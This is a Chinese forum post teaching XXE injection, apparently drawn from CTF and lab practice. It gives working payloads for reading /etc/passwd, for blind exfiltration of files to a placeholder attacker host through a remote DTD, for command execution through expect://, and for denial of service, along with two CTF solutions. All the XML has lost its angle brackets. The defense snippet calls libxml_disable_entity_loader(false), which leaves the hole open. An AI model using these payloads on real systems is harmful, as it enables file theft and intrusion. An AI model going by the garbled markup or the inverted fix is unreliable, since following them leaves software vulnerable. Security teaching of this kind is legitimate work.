標題:XXE 漏洞相關

taibeihacker

Moderator

XXE 漏洞相关​

1 定义与原理​

1.1 XXE 定义​

XXE 漏洞全稱XML External Entity Injection,XML 外部實體注入漏洞,XXE 漏洞發生在應用程序解析XML 輸入時,沒有禁止外部實體的加載,導致可加載惡意外部文件,造成文件讀取、內網端口掃描、攻擊內網網站發起dos 攻擊等危害。

1.2 XML 基础​

1.2.1 XML 定义​

文檔標記語言,XML 文檔結構包括XML 聲明、DTD 文檔類型定義(可選)、文檔元素
1
2
3
4
5
6
7
8
9
10
!-- 聲明信息--
?xml version='1.0' encoding='UTF-8' ?
scores
student id='s1'
namehacker/name
courseC++/course
score95/score
/student
/scores

1.2.2 DTD 定义​

DTD - Document Type Definition 文檔類型定義,利用DTD 定義XML 文檔中有哪些模塊以及模塊中有哪些內容(類比強類型語言)。
在 XML 文件中定义内部 DTD:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
!-- 聲明信息--
?xml version='1.0' encoding='UTF-8' ?
!-- 定義內部DTD --
!DOCTYPE scores [
!ELEMENT scores (student+)
!ELEMENT student (name, course, score)
!ATTLIST student id CDATA #REQUIRED
!ELEMENT course (#PCDATA)
!ELEMENT name (#PCDATA)
!ELEMENT score (#PCDATA)
]
scores
student id='s1'
namehacker/name
courseC++/course
score90/score
/student
/scores
PCDATA 的意思是被解析的字符數據
引用外部实体:1
2
3
4
5
6
7
8
9
10
11
12
13
!-- 聲明信息--
?xml version='1.0' encoding='UTF-8' ?
!-- 引用外部DTD --
!DOCTYPE scores SYSTEM 'scores.dtd'
scores
student id='s1'
namehacker/name
courseC++/course
score90/score
/student
/scores
scores.dtd 文件內容:
1
2
3
4
5
6
7
8
!-- 聲明信息--
?xml version='1.0' encoding='UTF-8' ?
!ELEMENT scores (student+)
!ELEMENT student (name, course, score)
!ATTLIST student id CDATA #REQUIRED
!ELEMENT course (#PCDATA)
!ELEMENT name (#PCDATA)
!ELEMENT score (#PCDATA)

2 XML 实体注入​

在DTD 中可以定義實體(類比編程語言中的常量),定義的實體可以在xml 中引用,經過XML 解析器解析後,實體就會被替換成定義的文本內容。
引用實體的格式為:實體名;
當引用了一個外部實體後,就可能存在一定的問題,下面的代碼是一個引用外部實體的例子:
1
2
3
4
5
?xml version='1.0'?
!DOCTYPE demo[
!ENTITY content SYSTEM 'file:///etc/password'
]
democontent;/demo
因此,XML 漏洞主要是由於外部實體可以解析外部文件的特性。
參數實體:
參數實體只用於DTD 和文檔的內部子集中,XML 的規範定義中,只有在DTD 中才能引用參數實體。參數實體的聲明和引用都是以百分號%。並且參數實體的引用在DTD 是理解解析的,替換文本將變成DTD 的一部分。該類型的實體用“%”字符(或十六進制編碼的%)。
參數實體只能用在DTD 中。
1
2
3
4
5
6
7
8
9
?xml version='1.0'?
!DOCTYPE root[
!ELEMENT root (message)
!ENTITY % param1 '!ENTITY internal 'http://xxx.com''
%param1;
]
root
messageinternal;/message
/root
參數實體常用在無回顯的XXE 中。

3 XXE 危害​

3.1 读取任意文件​

3.1.1 有回现​

以vulhub 上的靶場為例:
20190115153320.png-water_print

payload:
1
2
3
4
5
6
7
?xml version='1.0' encoding='utf-8'?
!DOCTYPE root [
!ELEMENT name ANY
!ENTITY data SYSTEM 'file:///etc/passwd']
root
namedata;/name
/root

3.1.2 无回显​

blind xxe 的原理很簡單,就是建立一條帶外信道提取數據,利用外部實體中的URL 發出訪問,利用攻擊者的公網主機接收數據,從而達到數據的讀取。
攻擊者向存在XXE 漏洞的服務器發送了一條payload,這個payload 的功能是查找服務器本機某個文件,然後向攻擊者的服務器請求一條URL 請求,獲取這個惡意的DTD 內容,當存在漏洞的服務器讀取到這個DTD 的內容為把一開始自己找的本地的那個文件內容做為參數去傳遞給攻擊者服務器的這個php 文件,這個php 的文件是把獲取的這個參數本地保存下來,從而,就這樣的得到了回顯的內容。
payload:
1
2
3
4
5
6
7
8
9
10
?xml version='1.0' encoding='utf-8'?
!DOCTYPE foo [
!ELEMENT foo ANY
!ENTITY % evil SYSTEM 'file:///etc/passwd'
!-- 或者以偽協議編碼形式讀取php://filter/read=convert.base64-encode/resource=conf.php --
!ENTITY % xxe SYSTEM 'http://ip/dtd.xml'
%xxe;
%all;
]
foosend;/foo
dtd.xml
1
!ENTITY % all '!ENTITY send SYSTEM 'http://ip/receive.php?p=%evil;''
在內部DTD 裡, 參數實體引用只能和元素同級而不能直接出現在元素聲明內部,否則parser 會報錯: PEReferences forbidden in internal subset 。

3.2 执行命令​

需要安裝expect 擴展
1
2
3
4
5
6
7
?xml version='1.0' encoding='utf-8'?
!DOCTYPE xxe [
!ELEMENT name ANY
!ENTITY xxe SYSTEM 'expect://id']
xxe
namexxe;/name
/xxe

3.3 拒绝服务攻击​

1
2
3
4
5
6
7
?xml version='1.0' encoding='utf-8'?
!DOCTYPE xxe [
!ELEMENT name ANY
!ENTITY xxe SYSTEM 'file:///dev/random']
xxe
namexxe;/name
/xxe

4 CTF 题目​

4.1 DEMO 1​

題目描述:請獲取/home/ctf/flag.txt 下的內容
訪問web,點擊Go,在burpsuite 中抓到請求包
1
2
3
4
5
6
7
8
9
10
11
12
13
POST /api/v1.0/try HTTP/1.1
Host: web.jarvisoj.com:9882
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.16; rv:84.0) Gecko/20100101 Firefox/84.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/json
Content-Length: 36
Origin: http://web.jarvisoj.com:9882
Connection: close
Referer: http://web.jarvisoj.com:9882/
{'search':'type sth!','value':'own'}
將Content-Type 改為application/xml,提交poc:
20190115160754.png-water_print

4.2 DEMO 2​

源碼:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
?php
function __autoload($cls) {
include $cls;
}
class Black {
public function __construct($string, $default, $keyword, $store) {
if ($string) ini_set('highlight.string', '#0d0d0d');
if ($default) ini_set('highlight.default', '#0d0d0d');
if ($keyword) ini_set('highlight.keyword', '#0d0d0d');
if ($store) {
setcookie('theme', 'Black-'.$string.'-'.$default.'-'.$keyword, 0, '/');
}
}
}
class Green {
public function __construct($string, $default, $keyword, $store) {
if ($string) ini_set('highlight.string', '#00fb00');
if ($default) ini_set('highlight.default', '#00fb00');
if ($keyword) ini_set('highlight.keyword', '#00fb00');
if ($store) {
setcookie('theme', 'Green-'.$string.'-'.$default.'-'.$keyword, 0, '/');
}
}
}
if ($_=@$_GET['theme']) {
if (in_array($_, ['Black', 'Green'])) {
if (@class_exists($_)) {
($string=@$_GET['string']) || $string=false;
($default=@$_GET['default']) || $default=false;
($keyword=@$_GET['keyword']) || $keyword=false;
new $_($string, $default, $keyword, @$_GET['store']);
}
}
} else if ($_=@$_COOKIE['theme']) {
$args=explode('-', $_);
if (class_exists($args[0])) {
new $args[0]($args[1], $args[2], $args[3], '');
}
} else if ($_=@$_GET['info']) {
phpinfo();
}
highlight_file(__FILE__);
可以看到在根據cookie 加載主題類的地方沒有判斷cookie 是否被篡改,導致我們可以實例化任意類new $args[0]($args[1], $args[2], $args[3], '');
尋找內置的php 原生類,且該類的實例化參數要與$args[0]($args[1], $args[2], $args[3], '') 相對應,類SimpleXMLElement 符合上述要求。
因此可以通過Blind XXE 讀取/flag.php 文件
payload:
Cookie:theme=SimpleXMLElement-http://ip/xxe.xml-2-true
遠端xxe.xml
1
2
3
4
5
6
7
8
?xml version='1.0' encoding='utf-8'?
!DOCTYPE foo [
!ENTITY % file SYSTEM 'php://filter/read=convert.base64-encode/resource=file:///flag'
!ENTITY % remote SYSTEM 'http://ip/xxe.dtd'
%remote;
%all;
]
foosend;/foo
xxe.dtd
1
!ENTITY % all '!ENTITY send SYSTEM 'http://ip/receive.php?file=%file;''

5 防御​

使用開發語言提供的禁用外部實體的方法
PHP libxml 版本低於2.9.1 默認開啟
1
2
3
?php
libxml_disable_entity_loader (false);
?
過濾用戶提交的XML 數據,如關鍵字SYSTEM、 PUBLIC 等。
 
返回
上方